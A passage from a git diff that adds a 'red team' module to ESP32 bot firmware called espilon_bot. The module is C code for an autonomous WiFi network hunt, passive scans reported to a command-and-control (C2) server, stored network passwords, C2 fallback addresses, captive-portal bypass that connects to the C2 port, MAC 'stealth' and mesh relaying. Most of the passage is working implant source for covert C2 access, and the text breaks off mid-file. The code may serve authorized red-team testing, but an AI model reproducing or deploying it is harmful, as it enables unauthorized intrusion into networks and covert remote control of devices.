rt_hunt_stop(); + msg_info(TAG, "Hunt stopped, WiFi restored", req); + return 0; +} + +/* ============================================================ + * COMMAND: rt_status + * Report state, SSID, method, MAC, TX power. + * ============================================================ */ +static int cmd_rt_status(int argc, char **argv, const char *req, void *ctx) +{ + (void)argc; (void)argv; (void)ctx; + + rt_state_t state = rt_hunt_get_state(); + uint8_t mac[6]; + rt_stealth_get_current_mac(mac); + + char buf[256]; + snprintf(buf, sizeof(buf), + "state=%s ssid=%s method=%s mac=%02X:%02X:%02X:%02X:%02X:%02X" + " nets=%d c2_fb=%d mesh=%s", + rt_hunt_state_name(state), + rt_hunt_connected_ssid(), + rt_hunt_connected_method(), + mac[0], mac[1], mac[2], mac[3], mac[4], mac[5], + rt_config_net_count(), + rt_config_c2_count(), + rt_mesh_is_running() ? "on" : "off"); + + msg_info(TAG, buf, req); + return 0; +} + +/* ============================================================ + * COMMAND: rt_scan + * WiFi scan + report results to C2 (recon). + * ============================================================ */ +static int cmd_rt_scan(int argc, char **argv, const char *req, void *ctx) +{ + (void)argc; (void)argv; (void)ctx; + + msg_info(TAG, "Passive scan starting...", req); + +#ifdef CONFIG_RT_STEALTH + int found = rt_stealth_passive_scan(3000); + + rt_scan_ap_t aps[RT_MAX_SCAN_APS]; + int count = rt_stealth_get_scan_results(aps, RT_MAX_SCAN_APS); + + for (int i = 0; i < count; i++) { + char line[128]; + snprintf(line, sizeof(line), + "AP: %s ch=%d rssi=%d auth=%d bssid=%02X:%02X:%02X:%02X:%02X:%02X", + aps[i].ssid, aps[i].channel, aps[i].rssi, aps[i].auth_mode, + aps[i].bssid[0], aps[i].bssid[1], aps[i].bssid[2], + aps[i].bssid[3], aps[i].bssid[4], aps[i].bssid[5]); + msg_data(TAG, line, strlen(line), (i == count - 1), req); + } + + char summary[64]; + snprintf(summary, sizeof(summary), "Scan done: %d APs found", found); + msg_info(TAG, summary, req); +#else + msg_info(TAG, "Stealth not enabled, using active scan", req); + /* TODO: fallback to esp_wifi_scan_start() */ +#endif + + return 0; +} + +/* ============================================================ + * COMMAND: rt_net_add + * Add/update a known network. Pass "" to remove. + * ============================================================ */ +static int cmd_rt_net_add(int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + + if (argc < 1) { + msg_error(TAG, "usage: rt_net_add [pass]", req); + return -1; + } + + const char *ssid = argv[0]; + const char *pass = (argc >= 2) ? argv[1] : ""; + + /* Empty string for pass means "remove" */ + if (argc >= 2 && strcmp(pass, "\"\"") == 0) { + if (rt_config_net_remove(ssid)) { + char buf[96]; + snprintf(buf, sizeof(buf), "Removed network '%s'", ssid); + msg_info(TAG, buf, req); + } else { + msg_error(TAG, "Network not found", req); + } + return 0; + } + + if (rt_config_net_add(ssid, pass)) { + char buf[96]; + snprintf(buf, sizeof(buf), "Added network '%s'", ssid); + msg_info(TAG, buf, req); + } else { + msg_error(TAG, "Failed to add network (full?)", req); + } + return 0; +} + +/* ============================================================ + * COMMAND: rt_net_list + * List known networks. + * ============================================================ */ +static int cmd_rt_net_list(int argc, char **argv, const char *req, void *ctx) +{ + (void)argc; (void)argv; (void)ctx; + + rt_network_t nets[CONFIG_RT_MAX_KNOWN_NETWORKS]; + int count = rt_config_net_list(nets, CONFIG_RT_MAX_KNOWN_NETWORKS); + + if (count == 0) { + msg_info(TAG, "No known networks", req); + return 0; + } + + for (int i = 0; i < count; i++) { + char line[128]; + snprintf(line, sizeof(line), "[%d] ssid='%s' pass=%s", + i, nets[i].ssid, + nets[i].pass[0] ? "***" : "(open)"); + msg_data(TAG, line, strlen(line), (i == count - 1), req); + } + + return 0; +} + +/* ============================================================ + * COMMAND: rt_mesh + * Enable/disable ESP-NOW mesh relay. + * ============================================================ */ +static int cmd_rt_mesh(int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + + if (argc < 1) { + msg_error(TAG, "usage: rt_mesh ", req); + return -1; + } + +#ifdef CONFIG_RT_MESH + if (strcmp(argv[0], "start") == 0) { + if (rt_mesh_is_running()) { + msg_info(TAG, "Mesh already running", req); + } else if (rt_mesh_start()) { + msg_info(TAG, "Mesh relay started", req); + } else { + msg_error(TAG, "Mesh start failed", req); + } + } else if (strcmp(argv[0], "stop") == 0) { + rt_mesh_stop(); + msg_info(TAG, "Mesh relay stopped", req); + } else { + msg_error(TAG, "usage: rt_mesh ", req); + } +#else + msg_error(TAG, "ESP-NOW mesh not enabled (CONFIG_RT_MESH)", req); +#endif + + return 0; +} + +/* ============================================================ + * Command table + * ============================================================ */ +static const command_t rt_cmds[] = { + { + .name = "rt_hunt", + .sub = NULL, + .help = "Start autonomous network hunt", + .min_args = 0, + .max_args = 1, + .handler = (command_handler_t)cmd_rt_hunt, + .ctx = NULL, + .async = true, + }, + { + .name = "rt_stop", + .sub = NULL, + .help = "Stop hunt, restore WiFi/MAC/TX", + .min_args = 0, + .max_args = 0, + .handler = (command_handler_t)cmd_rt_stop, + .ctx = NULL, + .async = false, + }, + { + .name = "rt_status", + .sub = NULL, + .help = "Hunt state, MAC, method, config", + .min_args = 0, + .max_args = 0, + .handler = (command_handler_t)cmd_rt_status, + .ctx = NULL, + .async = false, + }, + { + .name = "rt_scan", + .sub = NULL, + .help = "Passive WiFi scan + report to C2", + .min_args = 0, + .max_args = 0, + .handler = (command_handler_t)cmd_rt_scan, + .ctx = NULL, + .async = true, + }, + { + .name = "rt_net_add", + .sub = NULL, + .help = "Add known network: rt_net_add [pass]", + .min_args = 1, + .max_args = 2, + .handler = (command_handler_t)cmd_rt_net_add, + .ctx = NULL, + .async = false, + }, + { + .name = "rt_net_list", + .sub = NULL, + .help = "List known networks", + .min_args = 0, + .max_args = 0, + .handler = (command_handler_t)cmd_rt_net_list, + .ctx = NULL, + .async = false, + }, + { + .name = "rt_mesh", + .sub = NULL, + .help = "ESP-NOW mesh relay: rt_mesh ", + .min_args = 1, + .max_args = 1, + .handler = (command_handler_t)cmd_rt_mesh, + .ctx = NULL, + .async = false, + }, +}; + +/* ============================================================ + * Registration + * ============================================================ */ +void mod_redteam_register_commands(void) +{ + ESPILON_LOGI_PURPLE(TAG, "Registering red team commands"); + + rt_config_init(); + rt_config_save_orig_mac(); + + for (size_t i = 0; i < sizeof(rt_cmds) / sizeof(rt_cmds[0]); i++) { + command_register(&rt_cmds[i]); + } +} + +#else /* !CONFIG_MODULE_REDTEAM */ + +void mod_redteam_register_commands(void) { /* empty */ } + +#endif /* CONFIG_MODULE_REDTEAM */ diff --git a/espilon_bot/components/mod_redteam/cmd_redteam.h b/espilon_bot/components/mod_redteam/cmd_redteam.h new file mode 100644 index 0000000..84420ca --- /dev/null +++ b/espilon_bot/components/mod_redteam/cmd_redteam.h @@ -0,0 +1,8 @@ +/* + * cmd_redteam.h + * Red Team resilient connectivity module. + * Compiled as empty when CONFIG_MODULE_REDTEAM is not set. + */ +#pragma once + +void mod_redteam_register_commands(void); diff --git a/espilon_bot/components/mod_redteam/rt_captive.c b/espilon_bot/components/mod_redteam/rt_captive.c new file mode 100644 index 0000000..01bd3dd --- /dev/null +++ b/espilon_bot/components/mod_redteam/rt_captive.c @@ -0,0 +1,291 @@ +/* + * rt_captive.c + * Captive portal detection and bypass strategies. + * + * Detection: HTTP GET to connectivitycheck.gstatic.com/generate_204 + * - 204 = no portal (internet open) + * - 200/302 = captive portal detected + * - Connection failed = unknown + * + * Bypass strategies (in order): + * 1. Direct C2 port — often not intercepted by portals + * 2. POST accept — parse 302 redirect, POST to portal accept URL + * 3. Wait + retry — some portals open after DNS traffic + */ +#include "sdkconfig.h" +#include "rt_captive.h" + +#ifdef CONFIG_MODULE_REDTEAM + +#include +#include +#include + +#include "esp_log.h" +#include "lwip/sockets.h" +#include "lwip/netdb.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" + +#include "utils.h" + +static const char *TAG = "RT_CAPTIVE"; + +#define CAPTIVE_TIMEOUT_S 5 +#define CAPTIVE_RX_BUF 512 + +/* ============================================================ + * Raw HTTP request to check connectivity + * ============================================================ */ + +/* Resolve hostname to IP */ +static bool resolve_host(const char *host, struct in_addr *out) +{ + struct addrinfo hints = {0}; + hints.ai_family = AF_INET; + hints.ai_socktype = SOCK_STREAM; + + struct addrinfo *res = NULL; + int err = lwip_getaddrinfo(host, NULL, &hints, &res); + if (err != 0 || !res) { + ESP_LOGW(TAG, "DNS resolve failed for '%s'", host); + return false; + } + + struct sockaddr_in *addr = (struct sockaddr_in *)res->ai_addr; + *out = addr->sin_addr; + lwip_freeaddrinfo(res); + return true; +} + +/* Send raw HTTP GET, return HTTP status code (0 on failure) */ +static int http_get_status(const char *host, int port, const char *path, + char *location_out, size_t location_cap) +{ + struct in_addr ip; + if (!resolve_host(host, &ip)) return 0; + + int s = lwip_socket(AF_INET, SOCK_STREAM, 0); + if (s < 0) return 0; + + struct timeval tv = { .tv_sec = CAPTIVE_TIMEOUT_S, .tv_usec = 0 }; + lwip_setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); + lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv)); + + struct sockaddr_in addr = {0}; + addr.sin_family = AF_INET; + addr.sin_port = htons(port); + addr.sin_addr = ip; + + if (lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr)) != 0) { + lwip_close(s); + return 0; + } + + /* Send HTTP request */ + char req[256]; + int req_len = snprintf(req, sizeof(req), + "GET %s HTTP/1.0\r\n" + "Host: %s\r\n" + "Connection: close\r\n" + "User-Agent: Mozilla/5.0\r\n" + "\r\n", + path, host); + + if (lwip_write(s, req, req_len) <= 0) { + lwip_close(s); + return 0; + } + + /* Read response header */ + char buf[CAPTIVE_RX_BUF]; + int total = 0; + int len; + while (total < (int)sizeof(buf) - 1) { + len = lwip_recv(s, buf + total, sizeof(buf) - 1 - total, 0); + if (len <= 0) break; + total += len; + /* Stop after headers (double CRLF) */ + buf[total] = '\0'; + if (strstr(buf, "\r\n\r\n")) break; + } + lwip_close(s); + + if (total == 0) return 0; + buf[total] = '\0'; + + /* Parse status code: "HTTP/1.x NNN ..." */ + int status = 0; + char *sp = strchr(buf, ' '); + if (sp) { + status = atoi(sp + 1); + } + + /* Extract Location header if present (for 302 redirects) */ + if (location_out && location_cap > 0) { + location_out[0] = '\0'; + char *loc = strstr(buf, "Location: "); + if (!loc) loc = strstr(buf, "location: "); + if (loc) { + loc += 10; /* skip "Location: " */ + char *end = strstr(loc, "\r\n"); + if (end) { + size_t copy_len = end - loc; + if (copy_len >= location_cap) copy_len = location_cap - 1; + memcpy(location_out, loc, copy_len); + location_out[copy_len] = '\0'; + } + } + } + + return status; +} + +/* ============================================================ + * Captive portal detection + * ============================================================ */ + +rt_portal_status_t rt_captive_detect(void) +{ + ESP_LOGI(TAG, "Checking for captive portal..."); + + int status = http_get_status( + "connectivitycheck.gstatic.com", 80, + "/generate_204", NULL, 0); + + if (status == 204) { + ESP_LOGI(TAG, "No captive portal (got 204)"); + return RT_PORTAL_NONE; + } + + if (status == 200 || status == 302 || status == 301) { + ESP_LOGW(TAG, "Captive portal detected (HTTP %d)", status); + return RT_PORTAL_DETECTED; + } + + if (status == 0) { + /* Try alternative check endpoint */ + status = http_get_status( + "captive.apple.com", 80, + "/hotspot-detect.html", NULL, 0); + + if (status == 200) { + /* Apple endpoint returns 200 with "Success" if no portal */ + /* and 200 with redirect content if portal — tricky */ + /* For now, assume it's potentially a portal */ + ESP_LOGW(TAG, "Apple check returned 200 — may be portal"); + return RT_PORTAL_DETECTED; + } + + ESP_LOGW(TAG, "Connectivity check failed (no response)"); + return RT_PORTAL_UNKNOWN; + } + + ESP_LOGW(TAG, "Unexpected status %d — assuming portal", status); + return RT_PORTAL_DETECTED; +} + +/* ============================================================ + * Captive portal bypass + * ============================================================ */ + +bool rt_captive_bypass(void) +{ + ESP_LOGI(TAG, "Attempting captive portal bypass..."); + + /* Strategy 1: Direct C2 port + * Most captive portals only intercept 80/443. + * Our C2 is on port 2626 — might go through. */ + { + int s = lwip_socket(AF_INET, SOCK_STREAM, 0); + if (s >= 0) { + struct timeval tv = { .tv_sec = CAPTIVE_TIMEOUT_S, .tv_usec = 0 }; + lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv)); + + struct sockaddr_in addr = {0}; + addr.sin_family = AF_INET; + addr.sin_port = htons(CONFIG_SERVER_PORT); + addr.sin_addr.s_addr = inet_addr(CONFIG_SERVER_IP); + + if (lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr)) == 0) { + lwip_close(s); + ESP_LOGI(TAG, "Bypass: direct C2 port %d reachable!", CONFIG_SERVER_PORT); + return true; + } + lwip_close(s); + } + ESP_LOGW(TAG, "Bypass strategy 1 (direct C2 port) failed"); + } + + /* Strategy 2: POST accept + * Get the redirect URL from the portal, POST to accept. */ + { + char location[256] = {0}; + int status = http_get_status( + "connectivitycheck.gstatic.com", 80, + "/generate_204", location, sizeof(location)); + + if ((status == 302 || status == 301) && location[0]) { + ESP_LOGI(TAG, "Portal redirect to: %s", location); + + /* Parse host from location URL */ + /* Expected format: http://host/path or https://host/path */ + char *host_start = strstr(location, "://"); + if (host_start) { + host_start += 3; + char *path_start = strchr(host_start, '/'); + char host_buf[64] = {0}; + + if (path_start) { + size_t hlen = path_start - host_start; + if (hlen >= sizeof(host_buf)) hlen = sizeof(host_buf) - 1; + memcpy(host_buf, host_start, hlen); + } else { + strncpy(host_buf, host_start, sizeof(host_buf) - 1); + path_start = "/"; + } + + /* Try to just GET the portal page (some portals auto-accept) */ + int p_status = http_get_status(host_buf, 80, path_start, NULL, 0); + ESP_LOGI(TAG, "Portal page status: %d", p_status); + + /* Check if we now have internet */ + vTaskDelay(pdMS_TO_TICKS(2000)); + int check = http_get_status( + "connectivitycheck.gstatic.com", 80, + "/generate_204", NULL, 0); + if (check == 204) { + ESP_LOGI(TAG, "Bypass: portal auto-accepted!"); + return true; + } + } + } + ESP_LOGW(TAG, "Bypass strategy 2 (POST accept) failed"); + } + + /* Strategy 3: Wait + retry + * Some portals open after seeing DNS traffic. Wait 10s. */ + { + ESP_LOGI(TAG, "Bypass strategy 3: waiting 10s..."); + vTaskDelay(pdMS_TO_TICKS(10000)); + + int status = http_get_status( + "connectivitycheck.gstatic.com", 80, + "/generate_204", NULL, 0); + if (status == 204) { + ESP_LOGI(TAG, "Bypass: portal opened after wait!"); + return true; + } + ESP_LOGW(TAG, "Bypass strategy 3 (wait) failed"); + } + + msg_info(TAG, "All captive portal bypass strategies failed", NULL); + return false; +} + +#else /* !CONFIG_MODULE_REDTEAM */ + +rt_portal_status_t rt_captive_detect(void) { return RT_PORTAL_UNKNOWN; } +bool rt_captive_bypass(void) { return false; } + +#endif /* CONFIG_MODULE_REDTEAM */ diff --git a/espilon_bot/components/mod_redteam/rt_captive.h b/espilon_bot/components/mod_redteam/rt_captive.h new file mode 100644 index 0000000..ff5836c --- /dev/null +++ b/espilon_bot/components/mod_redteam/rt_captive.h @@ -0,0 +1,30 @@ +/* + * rt_captive.h + * Captive portal detection and bypass strategies. + */ +#pragma once + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef enum { + RT_PORTAL_NONE, /* No captive portal — internet is open */ + RT_PORTAL_DETECTED, /* Captive portal detected (302 or non-204) */ + RT_PORTAL_UNKNOWN, /* Couldn't determine (connection failed) */ +} rt_portal_status_t; + +/* Check for captive portal via HTTP 204 connectivity test. + * Returns portal status. */ +rt_portal_status_t rt_captive_detect(void); + +/* Attempt to bypass a detected captive portal. + * Tries strategies in order: direct C2 port, POST accept, wait+retry. + * Returns true if C2 is reachable after bypass. */ +bool rt_captive_bypass(void); + +#ifdef __cplusplus +} +#endif diff --git a/espilon_bot/components/mod_redteam/rt_config.c b/espilon_bot/components/mod_redteam/rt_config.c new file mode 100644 index 0000000..c13490c --- /dev/null +++ b/espilon_bot/components/mod_redteam/rt_config.c @@ -0,0 +1,383 @@ +/* + * rt_config.c + * NVS-backed storage for known WiFi networks and C2 fallback addresses. + */ +#include "sdkconfig.h" +#include "rt_config.h" + +#ifdef CONFIG_MODULE_REDTEAM + +#include +#include + +#include "nvs_flash.h" +#include "nvs.h" +#include "esp_log.h" +#include "esp_wifi.h" + +static const char *TAG = "RT_CFG"; +static const char *NVS_NS = "rt_cfg"; + +/* ============================================================ + * Init + * ============================================================ */ +void rt_config_init(void) +{ + nvs_handle_t h; + esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h); + if (err == ESP_OK) { + nvs_close(h); + ESP_LOGI(TAG, "NVS namespace '%s' ready", NVS_NS); + } else { + ESP_LOGE(TAG, "NVS open failed: %s", esp_err_to_name(err)); + } +} + +/* ============================================================ + * Known WiFi networks + * ============================================================ */ + +static void net_key_ssid(int idx, char *out, size_t len) +{ + snprintf(out, len, "n_%d", idx); +} + +static void net_key_pass(int idx, char *out, size_t len) +{ + snprintf(out, len, "p_%d", idx); +} + +int rt_config_net_count(void) +{ + nvs_handle_t h; + if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK) + return 0; + + int32_t count = 0; + nvs_get_i32(h, "rt_count", &count); + nvs_close(h); + return (int)count; +} + +int rt_config_net_list(rt_network_t *out, int max_count) +{ + nvs_handle_t h; + if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK) + return 0; + + int32_t count = 0; + nvs_get_i32(h, "rt_count", &count); + if (count > max_count) count = max_count; + if (count > CONFIG_RT_MAX_KNOWN_NETWORKS) count = CONFIG_RT_MAX_KNOWN_NETWORKS; + + char key[16]; + for (int i = 0; i < count; i++) { + memset(&out[i], 0, sizeof(rt_network_t)); + + net_key_ssid(i, key, sizeof(key)); + size_t len = RT_SSID_MAX_LEN; + nvs_get_str(h, key, out[i].ssid, &len); + + net_key_pass(i, key, sizeof(key)); + len = RT_PASS_MAX_LEN; + nvs_get_str(h, key, out[i].pass, &len); + } + + nvs_close(h); + return (int)count; +} + +bool rt_config_net_add(const char *ssid, const char *pass) +{ + if (!ssid || !ssid[0]) return false; + + nvs_handle_t h; + if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK) + return false; + + int32_t count = 0; + nvs_get_i32(h, "rt_count", &count); + + /* Check if SSID already exists → update */ + char key[16]; + for (int i = 0; i < count; i++) { + net_key_ssid(i, key, sizeof(key)); + char existing[RT_SSID_MAX_LEN] = {0}; + size_t len = RT_SSID_MAX_LEN; + if (nvs_get_str(h, key, existing, &len) == ESP_OK) { + if (strcmp(existing, ssid) == 0) { + /* Update password */ + net_key_pass(i, key, sizeof(key)); + nvs_set_str(h, key, pass ? pass : ""); + nvs_commit(h); + nvs_close(h); + ESP_LOGI(TAG, "Updated network '%s'", ssid); + return true; + } + } + } + + /* New entry */ + if (count >= CONFIG_RT_MAX_KNOWN_NETWORKS) { + nvs_close(h); + ESP_LOGW(TAG, "Known networks full (%d)", (int)count); + return false; + } + + net_key_ssid(count, key, sizeof(key)); + nvs_set_str(h, key, ssid); + + net_key_pass(count, key, sizeof(key)); + nvs_set_str(h, key, pass ? pass : ""); + + count++; + nvs_set_i32(h, "rt_count", count); + nvs_commit(h); + nvs_close(h); + + ESP_LOGI(TAG, "Added network '%s' (total: %d)", ssid, (int)count); + return true; +} + +bool rt_config_net_remove(const char *ssid) +{ + if (!ssid || !ssid[0]) return false; + + nvs_handle_t h; + if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK) + return false; + + int32_t count = 0; + nvs_get_i32(h, "rt_count", &count); + + int found = -1; + char key[16]; + for (int i = 0; i < count; i++) { + net_key_ssid(i, key, sizeof(key)); + char existing[RT_SSID_MAX_LEN] = {0}; + size_t len = RT_SSID_MAX_LEN; + if (nvs_get_str(h, key, existing, &len) == ESP_OK) { + if (strcmp(existing, ssid) == 0) { + found = i; + break; + } + } + } + + if (found < 0) { + nvs_close(h); + return false; + } + + /* Shift entries down to fill the gap */ + for (int i = found; i < count - 1; i++) { + char src_key[16], dst_key[16]; + char buf[RT_PASS_MAX_LEN]; + size_t len; + + /* Copy SSID[i+1] → SSID[i] */ + net_key_ssid(i + 1, src_key, sizeof(src_key)); + net_key_ssid(i, dst_key, sizeof(dst_key)); + len = RT_SSID_MAX_LEN; + memset(buf, 0, sizeof(buf)); + nvs_get_str(h, src_key, buf, &len); + nvs_set_str(h, dst_key, buf); + + /* Copy PASS[i+1] → PASS[i] */ + net_key_pass(i + 1, src_key, sizeof(src_key)); + net_key_pass(i, dst_key, sizeof(dst_key)); + len = RT_PASS_MAX_LEN; + memset(buf, 0, sizeof(buf)); + nvs_get_str(h, src_key, buf, &len); + nvs_set_str(h, dst_key, buf); + } + + /* Erase last entries — reuse key[16] from above */ + net_key_ssid(count - 1, key, sizeof(key)); + nvs_erase_key(h, key); + net_key_pass(count - 1, key, sizeof(key)); + nvs_erase_key(h, key); + + count--; + nvs_set_i32(h, "rt_count", count); + nvs_commit(h); + nvs_close(h); + + ESP_LOGI(TAG, "Removed network '%s' (total: %d)", ssid, (int)count); + return true; +} + +/* ============================================================ + * C2 fallback addresses + * ============================================================ */ + +int rt_config_c2_count(void) +{ + nvs_handle_t h; + if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK) + return 0; + + int32_t count = 0; + nvs_get_i32(h, "c2_count", &count); + nvs_close(h); + return (int)count; +} + +int rt_config_c2_list(rt_c2_addr_t *out, int max_count) +{ + nvs_handle_t h; + if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK) + return 0; + + int32_t count = 0; + nvs_get_i32(h, "c2_count", &count); + if (count > max_count) count = max_count; + if (count > CONFIG_RT_MAX_C2_FALLBACKS) count = CONFIG_RT_MAX_C2_FALLBACKS; + + for (int i = 0; i < count; i++) { + memset(&out[i], 0, sizeof(rt_c2_addr_t)); + char key[16]; + snprintf(key, sizeof(key), "c2_%d", i); + size_t len = RT_ADDR_MAX_LEN; + nvs_get_str(h, key, out[i].addr, &len); + } + + nvs_close(h); + return (int)count; +} + +bool rt_config_c2_add(const char *addr) +{ + if (!addr || !addr[0]) return false; + + nvs_handle_t h; + if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK) + return false; + + int32_t count = 0; + nvs_get_i32(h, "c2_count", &count); + + /* Check duplicate */ + for (int i = 0; i < count; i++) { + char key[16]; + snprintf(key, sizeof(key), "c2_%d", i); + char existing[RT_ADDR_MAX_LEN] = {0}; + size_t len = RT_ADDR_MAX_LEN; + if (nvs_get_str(h, key, existing, &len) == ESP_OK) { + if (strcmp(existing, addr) == 0) { + nvs_close(h); + return true; /* Already exists */ + } + } + } + + if (count >= CONFIG_RT_MAX_C2_FALLBACKS) { + nvs_close(h); + ESP_LOGW(TAG, "C2 fallbacks full (%d)", (int)count); + return false; + } + + char key[16]; + snprintf(key, sizeof(key), "c2_%d", (int)count); + nvs_set_str(h, key, addr); + + count++; + nvs_set_i32(h, "c2_count", count); + nvs_commit(h); + nvs_close(h); + + ESP_LOGI(TAG, "Added C2 fallback '%s' (total: %d)", addr, (int)count); + return true; +} + +bool rt_config_c2_remove(const char *addr) +{ + if (!addr || !addr[0]) return false; + + nvs_handle_t h; + if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK) + return false; + + int32_t count = 0; + nvs_get_i32(h, "c2_count", &count); + + int found = -1; + for (int i = 0; i < count; i++) { + char key[16]; + snprintf(key, sizeof(key), "c2_%d", i); + char existing[RT_ADDR_MAX_LEN] = {0}; + size_t len = RT_ADDR_MAX_LEN; + if (nvs_get_str(h, key, existing, &len) == ESP_OK) { + if (strcmp(existing, addr) == 0) { + found = i; + break; + } + } + } + + if (found < 0) { + nvs_close(h); + return false; + } + + /* Shift down */ + for (int i = found; i < count - 1; i++) { + char src_key[16], dst_key[16], buf[RT_ADDR_MAX_LEN]; + size_t len = RT_ADDR_MAX_LEN; + snprintf(src_key, sizeof(src_key), "c2_%d", i + 1); + snprintf(dst_key, sizeof(dst_key), "c2_%d", i); + memset(buf, 0, sizeof(buf)); + nvs_get_str(h, src_key, buf, &len); + nvs_set_str(h, dst_key, buf); + } + + char key[16]; + snprintf(key, sizeof(key), "c2_%d", (int)(count - 1)); + nvs_erase_key(h, key); + + count--; + nvs_set_i32(h, "c2_count", count); + nvs_commit(h); + nvs_close(h); + + ESP_LOGI(TAG, "Removed C2 fallback '%s' (total: %d)", addr, (int)count); + return true; +} + +/* ============================================================ + * Original MAC storage + * ============================================================ */ + +void rt_config_save_orig_mac(void) +{ + uint8_t mac[6]; + if (esp_wifi_get_mac(WIFI_IF_STA, mac) != ESP_OK) { + ESP_LOGW(TAG, "Failed to read STA MAC"); + return; + } + + nvs_handle_t h; + if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK) + return; + + nvs_set_blob(h, "orig_mac", mac, 6); + nvs_commit(h); + nvs_close(h); + + ESP_LOGI(TAG, "Saved original MAC: %02X:%02X:%02X:%02X:%02X:%02X", + mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); +} + +bool rt_config_get_orig_mac(uint8_t mac[6]) +{ + nvs_handle_t h; + if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK) + return false; + + size_t len = 6; + esp_err_t err = nvs_get_blob(h, "orig_mac", mac, &len); + nvs_close(h); + return (err == ESP_OK && len == 6); +} + +#endif /* CONFIG_MODULE_REDTEAM */ diff --git a/espilon_bot/components/mod_redteam/rt_config.h b/espilon_bot/components/mod_redteam/rt_config.h new file mode 100644 index 0000000..fbac6bd --- /dev/null +++ b/espilon_bot/components/mod_redteam/rt_config.h @@ -0,0 +1,83 @@ +/* + * rt_config.h + * NVS-backed known networks + C2 fallback addresses. + */ +#pragma once + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#ifndef CONFIG_RT_MAX_KNOWN_NETWORKS +#define CONFIG_RT_MAX_KNOWN_NETWORKS 16 +#endif + +#ifndef CONFIG_RT_MAX_C2_FALLBACKS +#define CONFIG_RT_MAX_C2_FALLBACKS 4 +#endif + +#define RT_SSID_MAX_LEN 33 /* 32 + NUL */ +#define RT_PASS_MAX_LEN 65 /* 64 + NUL */ +#define RT_ADDR_MAX_LEN 64 /* "ip:port" or "host:port" */ + +/* ============================================================ + * Known WiFi networks + * ============================================================ */ + +typedef struct { + char ssid[RT_SSID_MAX_LEN]; + char pass[RT_PASS_MAX_LEN]; +} rt_network_t; + +/* Init NVS namespace, load config */ +void rt_config_init(void); + +/* Add/update a known network. Empty pass = open network. */ +bool rt_config_net_add(const char *ssid, const char *pass); + +/* Remove a known network by SSID. Returns false if not found. */ +bool rt_config_net_remove(const char *ssid); + +/* Get known networks list. Returns count. */ +int rt_config_net_list(rt_network_t *out, int max_count); + +/* Get count of known networks. */ +int rt_config_net_count(void); + +/* ============================================================ + * C2 fallback addresses + * ============================================================ */ + +typedef struct { + char addr[RT_ADDR_MAX_LEN]; /* "ip:port" */ +} rt_c2_addr_t; + +/* Add a C2 fallback address. Returns false if full. */ +bool rt_config_c2_add(const char *addr); + +/* Remove a C2 fallback address. Returns false if not found. */ +bool rt_config_c2_remove(const char *addr); + +/* Get C2 fallback addresses. Returns count. */ +int rt_config_c2_list(rt_c2_addr_t *out, int max_count); + +/* Get count of C2 fallback addresses. */ +int rt_config_c2_count(void); + +/* ============================================================ + * Original MAC storage (for restoration) + * ============================================================ */ + +/* Save the current STA MAC as the original. Called once at boot. */ +void rt_config_save_orig_mac(void); + +/* Get the saved original MAC. Returns false if not saved. */ +bool rt_config_get_orig_mac(uint8_t mac[6]); + +#ifdef __cplusplus +} +#endif diff --git a/espilon_bot/components/mod_redteam/rt_hunt.c b/espilon_bot/components/mod_redteam/rt_hunt.c new file mode 100644 index 0000000..88669bb --- /dev/null +++ b/espilon_bot/components/mod_redteam/rt_hunt.c @@ -0,0 +1,726 @@ +/* + * rt_hunt.c + * Red Team hunt state machine — autonomous network hunting. + * FreeRTOS task (8KB stack, Core 1). + */ +#include "sdkconfig.h" +#include "rt_hunt.h" + +#ifdef CONFIG_MODULE_REDTEAM + +#include +#include + +#include "esp_log.h" +#include "esp_wifi.h" +#include "esp_event.h" +#include "esp_netif.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" +#include "freertos/event_groups.h" +#include "lwip/sockets.h" +#include "lwip/netdb.h" + +#include "utils.h" +#include "rt_config.h" +#include "rt_stealth.h" +#include "rt_captive.h" +#include "rt_mesh.h" + +static const char *TAG = "RT_HUNT"; + +#define RT_HUNT_STACK 8192 +#define RT_HUNT_PRIO 6 +#define RT_WIFI_TIMEOUT_MS 8000 +#define RT_TCP_TIMEOUT_S 5 +#define RT_RESCAN_DELAY_S 60 +#define RT_MAX_WPA_TRIES 5 +#define RT_WPA_MIN_RSSI -65 + +/* Event bits for WiFi events */ +#define RT_EVT_GOT_IP BIT0 +#define RT_EVT_DISCONNECT BIT1 + +/* ============================================================ + * State + * ============================================================ */ + +static volatile rt_state_t s_state = RT_IDLE; +static char s_connected_ssid[33] = {0}; +static char s_connected_method[16] = {0}; +static volatile bool s_active = false; +static TaskHandle_t s_task_handle = NULL; +static EventGroupHandle_t s_evt_group = NULL; + +/* Mutex protecting s_state, s_connected_ssid, s_connected_method */ +static SemaphoreHandle_t s_state_mutex = NULL; + +static inline void state_lock(void) { + if (s_state_mutex) xSemaphoreTake(s_state_mutex, portMAX_DELAY); +} +static inline void state_unlock(void) { + if (s_state_mutex) xSemaphoreGive(s_state_mutex); +} + +/* Saved original WiFi config for restore */ +static wifi_config_t s_orig_wifi_config; +static bool s_orig_config_saved = false; + +/* State name lookup */ +static const char *state_names[] = { + [RT_IDLE] = "idle", + [RT_STEALTH_PREP] = "stealth_prep", + [RT_PASSIVE_SCAN] = "passive_scan", + [RT_MESH_PROBE] = 